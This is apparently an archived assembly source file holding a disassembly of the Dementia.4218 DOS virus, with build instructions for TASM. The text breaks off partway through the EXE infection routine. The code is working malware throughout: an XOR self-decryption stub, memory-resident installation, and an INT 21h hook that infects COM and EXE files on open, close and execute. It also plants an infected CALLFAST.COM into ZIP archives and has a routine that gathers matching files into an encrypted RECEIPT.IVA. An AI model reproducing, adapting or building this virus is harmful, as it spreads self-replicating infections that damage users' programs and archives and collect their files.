MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.dementia.asm

1938 lines
68 KiB
NASM
Raw Normal View History

2021-01-12 23:38:47 +00:00
comment *
Dementia.4218
Disassembly by
Darkman/29A
Dementia.4218 is a 4218 bytes parasitic resident COM/EXE/ZIP virus. Infects
files at close file, open file and load and/or execute program by appending
the virus to the infected COM/EXE file and storing in the infected ZIP file.
Dementia.4218 has an error handler, 16-bit exclusive OR (XOR) encryption in
file and is using archive infection technique.
To compile Dementia.4218 with Turbo Assembler v 4.0 type:
TASM /M DEMENTI_.ASM
TLINK /x DEMENTI_.OBJ
EXE2BIN DEMENTI_.EXE DEMENTI_.COM
*
.model tiny
.code
code_begin:
call delta_offset
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h
std ; Set direction flag
mov cx,(crypt_begin-crypt_end-02h)/02h
decrypt_key equ word ptr $+01h ; Decryption key
mov dx,00h ; DX = decryption key
push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)
decrypt_loop:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two plain bytes
jmp crypt_end
nop
crypt_end:
loop decrypt_loop
cld ; Clear direction flag
push cs ; Save CS at stack
sub si,(crypt_end-code_begin)
nop
mov cl,04h ; Divide by paragraphs
shr si,cl ; SI = offset of crypt_end in para...
mov ax,cs ; AX = code segment
add ax,si ; Add code segment to delta offset...
push ax ; Save AX at stack
lea ax,virus_begin ; AX = offset of virus_begin
push ax ; Save AX at stack
retf ; Return far!
virus_begin:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
pop ax ; Load AX from stack (CS)
mov [code_seg_],ax ; Store code segment
mov bx,1492h ; Dementia.4218 function
call close_file
cmp bx,1776h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit
call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit
mov ax,[code_seg_] ; AX = code segment
mov bx,[initial_cs] ; AX = initial CS relative to star...
sub ax,bx ; Subtract initial CS relative to ...
mov dx,ax ; DX = segment of PSP for current ...
mov bx,[code_seg] ; BX = original code segment
add ax,bx ; Add original code segment to seg...
mov [code_seg],ax ; Store original code segment
xchg ax,dx ; AX = segment of current PSP proc...
cli ; Clear interrupt-enable flag
mov bx,[stack_seg] ; BX = original stack segment
add ax,bx ; Add original stack segment to se...
mov ss,ax ; SS = original stack segment
mov ax,[stack_ptr] ; AX = original stack pointer
mov sp,ax ; SP = " " "
sti ; Set interrupt-enable flag
mov ah,62h ; Get current PSP address
int 21h
mov ds,bx ; DS = segment of PSP for current ...
mov es,bx ; ES = segment of PSP for current ...
xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI
jmp dword ptr cs:[instruct_ptr]
vir_com_exit:
mov di,100h ; DI = offset of beginning of code
lea si,origin_code ; SI = offset of origin_code
nop
movsw ; Move the original code to beginning
movsb ; " " " " " "
push es ; Save ES at stack
mov ax,100h ; AX = offset of beginning of code
push ax ; Save AX at stack
xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
retf ; Return far!
upcase_char proc near ; Upcase character
cmp al,'a' ; Lowcase character?
jl dont_upcase ; Less? Jump to dont_upcase
cmp al,'z' ; Lowcase character?
jg dont_upcase ; Greater? Jump to dont_upcase
sub al,20h ; Upcase character
dont_upcase:
ret ; Return!
endp
int21_virus proc near ; Interrupt 21h of Dementia.4218
pushf ; Save flags at stack
cld ; Clear direction flag
cmp ah,3eh ; Close file?
jne tst_open_fil ; Not equal? Jump to tst_open_fil
cmp bx,1492h ; Dementia.4218 function?
jne tst_open_fil ; Not equal? Jump to tst_open_fil
mov bx,1776h ; Already resident
popf ; Load flags from stack
iret ; Interrupt return!
tst_open_fil:
cmp ah,3dh ; Open file
jne tst_load_and ; Not equal? Jump to tst_load_and
cmp al,0ffh ; Dementia.4218 function
je dementia_fun ; Equal? Jump to dementia_fun
push ax si ; Save registers at stack
mov si,dx ; SI = offset of filename
find_dot:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je open_fi_exit ; Equal? Jump to open_fi_exit
cmp al,'.' ; Found the dot in the filename
jne find_dot ; Not equal? Jump to find_dot
lodsb ; AL = byte of extension
call upcase_char
cmp al,'C' ; COM executable?
jne tst_exe_exec ; Not equal? Jump to tst_exe_exec
lodsb ; AL = byte of extension
call upcase_char
cmp al,'O' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'M' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call inf_com_exe
jmp open_fi_exit
nop
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch
lodsb ; AL = byte of extension
call upcase_char
cmp al,'X' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'E' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call inf_com_exe
jmp open_fi_exit
nop
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'I' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'P' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call infect_zip
jmp open_fi_exit
nop
open_fi_exit:
pop si ax ; Load registers from stack
jmp tst_load_and
nop
dementia_fun:
mov al,02h ; Dementia.4218 function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit
call inf_com_exe
int21_exit:
popf ; Load flags from stack
jmp cs:[int21_addr]
endp
install proc near ; Allocate memory, move virus to t...
push es ; Save ES at stack
mov ah,52h ; Get list of lists
int 21h
mov ax,es:[bx-02h] ; AX = segment of first memory con...
next_mcb:
mov ds,ax ; DS = segment of current memory c...
mov al,ds:[00h] ; AL = block type
cmp al,'Z' ; Last block in chain?
je allocate_mem ; Equal? Jump to allocate_mem
mov ax,ds ; AX = segment of current memory c...
mov bx,ds:[03h] ; BX = size of memory block in par...
add ax,bx ; Add size of memory block in para...
inc ax ; AX = segment of next memory cont...
jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...
mov ax,ds ; AX = segment of last memory cont...
add ax,bx ; Add new size of memory block in ...
inc ax ; AX = segment of virus
mov es,ax ; ES = " " "
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory
push es ; Save ES at stack
lea ax,install_ ; AX = offset of install_
push ax ; Save AX at stack
retf ; Return far!
install_:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov word ptr [int21_addr+02h],es
mov word ptr [int21_addr],bx
lea dx,int21_virus ; DX = offset of int21_virus
mov ax,2521h ; Set interrupt vector 21h
int 21h
pop es ; Load ES from stack
ret ; Return!
endp
inf_com_exe proc near ; Infect COM/EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,06h ; Correct stack pointer
push ax bx cx dx si di ds es
call int24_store
call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit
call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov cx,20h ; Read thirty-two bytes
call read_file
mov ax,ds:[00h] ; AX = EXE signature
cmp ax,'MZ' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
cmp ax,'ZM' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
call infect_com
jmp call_mark
nop
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load
pop es ds di si dx cx bx ax
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_zip proc near ; Infect ZIP archive
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,28h ; Correct stack pointer
push ax bx cx dx si di ds es
xor ax,ax ; Didn't found file
mov [bp-0eh],ax ; Store didn't found CALLFAST.COM
mov [bp-10h],ax ; " " " REQUEST.IVA
mov [bp-12h],ax ; " " " RECEIPT.IVA
call int24_store
push dx ds ; Save registers at stack
lea dx,temp_file ; DX = offset of temp_file
nop
call create_file
mov [bp-0ah],ax ; Store file handle of !#TEMP#!
pop ds dx ; Load registers from stack
call open_file
jnc load_info_ ; No error? Jump to load_info_
jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file
call load_info
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
next_lfh_sig:
mov cx,04h ; Read four bytes
call read_file
mov ax,ds:[00h] ; AX = low-order word of file head...
cmp ax,'KP' ; Found low-order word of file ha...?
je test_dir_sig ; Equal? Jump to test_dir_sig
jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh
jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file
mov cx,ds:[16h] ; CX = filename length
mov dx,20h ; DI = offset of filename
call read_file_
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea di,request_iva ; DI = offset of request_iva
nop
mov si,20h ; SI = offset of filename
request_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of request_iva
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_reques ; Equal? Jump to found_reques
cmp ah,al ; Byte of filename equal to byte o...
jne find_callfas ; Not equal? Jump to find_callfas
jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
call set_pos_cfp
mov [bp-24h],ax ; AX = low-order word of extra field
mov [bp-22h],dx ; DX = high-order word of extra field
find_callfas:
lea di,callfast_com ; DI = offset of callfast_com
nop
mov si,20h ; SI = offset of filename
callfas_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of callfast_com
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_callfa ; Equal? Jump to found_callfa
cmp ah,al ; Byte of filename equal to byte o...
jne find_receipt ; Not equal? Jump to find_receipt
jmp callfas_loop
found_callfa:
mov ax,01h ; Found CALLFAST.COM
mov [bp-0eh],ax ; Store found CALLFAST.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_receip ; Equal? Jump to found_receip
cmp ah,al ; Byte of filename equal to byte o...
jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr
jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit
call set_pos_cfp
jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2ah ; Read forty-two bytes
call read_file
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,ds:[18h] ; CX = filename length
mov bx,ds:[1ah] ; BX = extra field length
add cx,bx ; Add extra field length to filena...
mov bx,ds:[1ch] ; BX = file comment length
add cx,bx ; CX = number of bytes to read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,04h ; Read four bytes
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov ax,ds:[00h] ; AX = low-order word of end of ce...
cmp ax,'KP' ; Found low-order word of end of ...?
je test_eoc_sig ; Equal? Jump to test_eoc_sig
jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds
jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file
mov ax,ds:[0ch] ; AX = low-order word of offset of...
mov [bp-18h],ax ; Store low-order word of offset o...
mov ax,ds:[0eh] ; AX = high-order word of offset o...
mov [bp-16h],ax ; Store high-order word of offset ...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,ds:[10h] ; CX = zipfile comment length
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov ax,[bp-10h] ; AX = found REQUEST.IVA
or ax,ax ; Didn't found REQUEST.IVA
jz test_callfas ; Zero? Jump to test_callfas
jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found CALLFAST.COM
or ax,ax ; Didn't found CALLFAST.COM
jz create_file_ ; Zero? Jump to create_file_
jmp call_mark_
create_file_:
lea dx,callfast_com ; DX = offset of callfast_com
nop
call create_file
mov [bp-14h],ax ; Store file handle of CALLFAST.COM
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_
call close_file
mov ax,01h ; Don't test filesize
mov [tst_filesize],ax ; Store don't test filesize
lea dx,callfast_com ; DX = offset of callfast_com
nop
call inf_com_exe
xor ax,ax ; Test filesize
mov [tst_filesize],ax ; Store test filesize
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea si,callfast_com ; SI = offset of callfast_com
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move CALLFAST.COM to filename
open_filenam:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
call open_file
call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize
call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-16h] ; CX = high-order word of offset o...
mov dx,[bp-18h] ; DX = low-order word of offset of...
call set_pos_sof_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov ax,'KP' ; AX = low-order word of local hea...
mov ds:[00h],ax ; Store low-order word of local he...
mov ax,403h ; AX = high-order word of local hea...
mov ds:[02h],ax ; Store high-order word of local he...
mov ax,0ah ; AX = version needed to extract (v...
mov ds:[04h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[06h],ax ; Store general purpose bit flag
mov ds:[08h],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ah],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0ch],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[0eh],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[10h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[12h],ax ; Store low-order word of compress...
mov ds:[16h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[14h],ax ; Store high-order word of compres...
mov ds:[18h],ax ; Store high-order word of uncompr...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ah],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length (0 bytes)
mov ds:[1ch],ax ; Store extra field length (0 bytes)
mov cx,1eh ; Write thirty bytes
call write_file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
call set_pos_sof
copy_callfas:
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je copy_cds_ ; Equal? Jump to copy_cds_
mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call write_file
jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds
dec ax ; Decrease number of central direc...
mov [bp-0ch],ax ; Store number of central director...
mov ax,'KP' ; AX = low-order word of central d...
mov ds:[00h],ax ; Store low-order word of central ...
mov ax,201h ; AX = high-order word of central ...
mov ds:[02h],ax ; Store high-order word of central...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,2ah ; Read forty-two bytes
mov dx,04h ; DX = offset of central directory...
call read_file_
mov cx,ds:[1ch] ; CX = filename length
mov dx,ds:[1eh] ; DX = extra field length
add cx,dx ; Add extra field length to filena...
mov dx,ds:[20h] ; DX = file comment length
add cx,dx ; CX = number of bytes to read
push cx ; Save CX at stack
mov dx,2eh ; DX = offset of central directory...
call read_file_
mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,2eh ; Add size of central directory fi...
call write_file
jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2eh ; Write forty-six bytes
call write_file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov ax,'KP' ; AX = low-order word of end of ce...
mov ds:[00h],ax ; Store low-order word of end of c...
mov ax,605h ; AX = high-order word of end of c...
mov ds:[02h],ax ; Store high-order word of end of ...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,12h ; Read eightteen bytes
mov dx,04h ; DX = offset of end of central di...
call read_file_
mov cx,ds:[14h] ; CX = zipfile comment length
push cx ; Save CX at stack
mov dx,16h ; DX = offset of zipfile comment
call read_file_
mov ax,ds:[08h] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[08h],ax ; Store total number of entries in...
mov ax,ds:[0ah] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[0ah],ax ; Store total number of entries in...
mov ax,ds:[0ch] ; AX = low-order word of size of t...
mov dx,ds:[0eh] ; DX = high-order word of size of ...
add ax,3ah ; Add size of central directory fi...
nop
adc dx,00h ; Convert to 32-bit
mov ds:[0ch],ax ; Store low-order word of size of ...
mov ds:[0eh],dx ; Store high-order word of size of...
mov ax,ds:[10h] ; AX = low-order word of offset of...
mov dx,ds:[12h] ; DX = high-order word of offset o...
add ax,2ah ; Add size of local file header to...
nop
adc dx,00h ; Convert to 32-bit
mov bx,[bp-1ah] ; BX = high-order word of filesize
add dx,bx ; Add high-order word of filesize ...
mov bx,[bp-1ch] ; BX = low-order word of filesize
add ax,bx ; Add low-order word of filesize t...
adc dx,00h ; Convert to 32-bit
mov ds:[10h],ax ; Store low-order word of offset o...
mov ds:[12h],dx ; Store high-order word of offset ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,16h ; Add size of end of central direc...
call write_file
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
call close_file
lea dx,filename ; DX = offset of filename
nop
call delete_file
jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra
jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov es,ax ; ES = segment of data buffer
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cld ; Clear direction flag
xor si,si ; Zero SI
xor di,di ; Zero DI
lodsw ; AX = word of extra field
cmp ax,1492h ; Found infection mark?
je comp_extra ; Equal? Jump to comp_extra
jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra
jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of filespecification
push ax ; Save AX at stack
decrypt_next:
push cx ; Save CX at stack
mov cx,07h ; Decryption fourteen bytes
decrypt_spec:
lodsw ; AX = word of encrypted file spec...
xor ax,dx ; Decrypt word of file specification
stosw ; Store word of file specification
loop decrypt_spec
pop cx ; Load CX from stack
loop decrypt_next
mov ax,ds ; AX = segment of data buffer
add ax,40h ; AX = segment of pathname
mov es,ax ; ES = " " "
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov ah,47h ; Get current directory
xor dl,dl ; Default drive
xor si,si ; Zero SI
int 21h
pop ds ; Load DS from stack
mov ax,es ; AX = segment of pathname
add ax,04h ; AX = segment of end of pathname
mov es,ax ; ES = " " " " "
xor di,di ; Zero DI
mov al,'\' ; AL = backslash
stosb ; Store backslash
xor al,al ; AL = zero
stosb ; Store zero
push es ; Save ES at stack
mov ah,2fh ; Get disk transfer area address
int 21h
mov [bp-26h],es ; Store segment of disk transfer a...
mov [bp-28h],bx ; Store offset of disk transfer ar...
pop es ; Load ES from stack
push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
xor dx,dx ; Zero DX
mov ah,1ah ; Set disk transfer area address
int 21h
lea dx,receipt_iva ; DX = offset of receipt_iva
nop
call create_file
mov bx,ax ; BX = file handle of RECEIPT.IVA
mov [bp-14h],ax ; Store file handle of RECEIPT.IVA
pop ds ; Load DS from stack
pop ax ; Load AX from stack
mov dx,01h ; Don't store backslash
call create_recei
mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA
call set_pos_sof
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov es,ax ; ES = " " " " "
encrypt_rece:
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je set_dta_addr ; Equal? Jump to set_dta_addr
push ax ; Save AX at stack
xor dx,dx ; Zero DX
sub dx,ax ; DX = -number of bytes actually read
mov cx,-01h
call set_pos_cfp
pop ax ; Load AX from stack
push ax ; Save AX at stack
mov cx,ax ; CX = number of bytes actually read
xor si,si ; Zero SI
xor di,di ; Zero DI
encrypt_ipt_:
lodsb ; AL = byte of RECEIPT.IVA
xor al,0ffh ; Encrypt byte of RECEIPT.IVA
stosb ; Store encrypted byte of RECEIPT.IVA
loop encrypt_ipt_
pop ax ; Load AX from stack
mov cx,ax ; CX = number of bytes actually read
call write_file
jmp encrypt_rece
set_dta_addr:
call close_file
mov ds,[bp-26h] ; DS = segment of disk transfer area
mov dx,[bp-28h] ; DX = offset of disk transfer area
mov ah,1ah ; Set disk transfer area address
int 21h
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+40h
mov ds,ax ; DS = segment of data buffer
xor dx,dx ; Zero DX
mov ah,3bh ; Set current directory
int 21h
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea si,receipt_iva ; SI = offset of receipt_iva
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move RECEIPT.IVA to filename
jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark
mov bx,[bp-08h] ; BX = file handle of ZIP file
call close_file
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call close_file
lea dx,temp_file ; DX = offset of temp_file
nop
call delete_file
inf_zip_exit:
call int24_load
pop es ds di si dx cx bx ax
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_com proc near ; Infect COM file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer
mov ah,00h ; COM executable
nop
nop
mov cs:[com_or_exe],ah ; Store COM executable
mov ax,ds:[00h] ; AX = word of original code of CO...
mov word ptr cs:[origin_code],ax
mov al,ds:[02h] ; AL = byte of original code of CO...
mov cs:[origin_code+02h],al
call encrypt_copy
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
push ax ; Save AX at stack
mov ax,cs:[tst_filesize]
cmp ax,01h ; Don't test filesize?
pop ax ; Load AX from stack
je calc_buf_seg ; Equal? Jump to calc_buf_seg
cmp dx,00h ; Filesize too large?
jne inf_com_exit ; Not equal? Jump to inf_com_exit
cmp ax,1000h ; Filesize too small?
jb inf_com_exit ; Below? Jump to inf_com_exit
calc_buf_seg:
add ax,(code_end-code_begin)
jb inf_com_exit ; Filesize too large? Jump to inf_...
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov cx,10h ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
and ax,0000000000001111b
sub cx,ax ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
add ax,cx ; AX = offset of virus within file
mov [bp-04h],ax ; Store offset of virus within file
call write_file_
mov cx,(code_end-code_begin)
call write_file
mov al,0e9h ; JMP imm16 (opcode 0e9h)
mov ds:[00h],al ; Store JMP imm16
mov ax,[bp-04h] ; AX = filesize
sub ax,03h ; Subtract size of opcode JMP imm16
mov ds:[01h],ax ; Store 16-bit immediate
call set_pos_sof
mov cx,03h ; Write three bytes
call write_file
inf_com_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_exe proc near ; Infect EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer
mov ah,01h ; EXE executable
nop
nop
mov cs:[com_or_exe],ah ; Store EXE executable
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
and ax,0000000000001111b
